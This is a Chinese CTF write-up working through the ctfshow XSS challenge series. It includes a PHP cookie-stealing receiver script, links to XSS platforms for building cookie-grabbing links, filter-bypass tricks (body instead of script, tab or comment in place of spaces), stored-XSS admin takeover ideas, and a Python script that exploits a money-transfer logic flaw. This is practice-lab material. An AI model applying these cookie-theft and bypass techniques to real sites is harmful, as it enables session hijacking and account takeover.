可能写的有点啰嗦,记录自己做题的过程
后台会每隔一段时间(一般为15秒)去访问一次我们的链接(毕竟要领10个鸡蛋bot要康康你的分享状态),当BOT访问我们的xss的时候我们就能拿到admin的cookie。
这里有两种方法来获取,一种是在线的xss平台,如https://xsshs.cn/,https://xss.pt/,http://xsscom.com去生成xss链接
另一种就是搭建在自己的网站上,写一段php代码即可,如
# xss.php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
一般来说,第一种方法已经够我们用了,但是有的时候还是只能用第二种方法。如ctfshow 终极考核题,因为第二台机器不能出网无法做到代理,而第二台机器又存在XSS,这种时候就只能使用第二种方法来获得cookie了。
这里使用https://xss.pt/xss.php,首先注册登录进入主页,然后点击创建
选择默认模块
获得很多种链接,随便用一个来生成“祝福语”,生成后再刷新一下题目,然后回到项目界面
当然会出现一种很常见的情况是:you are not admin no flag
不要慌张,这种情况是正常的(就是X到自己了),多弄几次就好了
太伤心了,整了十几次都还是插的自己
玛德我无语了,我放自己服务器上去,放上去(上面的php代码)之后写这条语句
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
为啥一次成功了,我不理解。。
上一题的payload打不通,因为过滤了但不知道过滤了什么,将script换成body就成功了,说明过滤了script
上一道题的payload成功了
上一题的payload成功了
上一题的payload失败了,不知道过滤了啥。这里测试一下。
第一次测试是删掉了href前面的
这说明过滤点在前面,body是没问题的
第二次删掉window前面的,一样有回显,说明过滤点在前面
onload没问题,body没问题,说明问题出在这个空格
绕过方法:
TAB
/
/**/
上一道题payload成功了
玛德太恶心了,这里需要把服务器上的xss.php改成别的名字,总之不能出现xss三个字符
上一题payload成功了
上一题payload成功了
上一题payload成功了
上一题payload成功了
换题了,存储型XSS
收件人肯定admin
然后信的内容用322payload试一下
成功
一个登录的,账号admin,密码上面的payload试试
失败了,账号密码都用payload试试
还是失败了
诶上面有个注册按钮,试一下。
无法注册admin,换别的名字就可以。登录进去用户管理只有admin才能看到
因为只有管理员才能看到用户管理,那这里有个思路就是说能不能注入payload到用户管理那里,那个管理员访问。
注册一个账号,密码为上面的payload试试
实践结果是不行
这里用
这里得到了管理员的cookie,那直接用cookie登录试一下
但是抓包这里看不到管理的界面,而且这是临时的,所以直接换存储
然后刷新一下界面就看到了flag,但是flag一闪而过了,这里就只有抓包了
方法同上,能得到cookie但是还是访问不了页面
原因是,管理员访问了页面就退出了,相当于现在得到的最新cookie是管理员上一次用的cookie
这里不行了呀这里,看了下wp是用js
这样,看视频https://www.bilibili.com/video/BV1gi4y1A76p
这里拆开是因为如果直接写ctfshow,到时候查询到的第一条含有ctfshow的就是我们自己
…
加个{,ctf+show{
记得每次数据被污染了就开一个新的靶场
多了个修改密码的选项,那不直接让admin自己修改自己密码
注册一个payload账号就行了
思路和上一道一样,只不过方法从get变成了post
9999元才能购买flag,新注册账号有5块钱。
然后发现转负的钱自己就能加,别就会减,哈哈哈哈
给admin转个-9999就好了
上一道题就想写脚本了,结果发现了简单方法所以没写
这里直接写个脚本疯狂注册给我钱(薅羊毛)
写了二十多分钟一直调试发现就是登录不上。。。不知道为啥呜呜呜
看了下yu师傅的脚本,是自己给自己转钱,就可以加,我太笨了
import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'} #自己登录后的sessionid
while True:
print(x)
t=x-1
data={
'u':'mumuzi', #注册的用户名
'a':str(t)
}
r=requests.post(url,headers=headers,data=data)
print(r.text)
if(x>10000):
r2=requests.get(url2,headers=headers)
print(r2.text)
break
x+=t
至此,XSS部分结束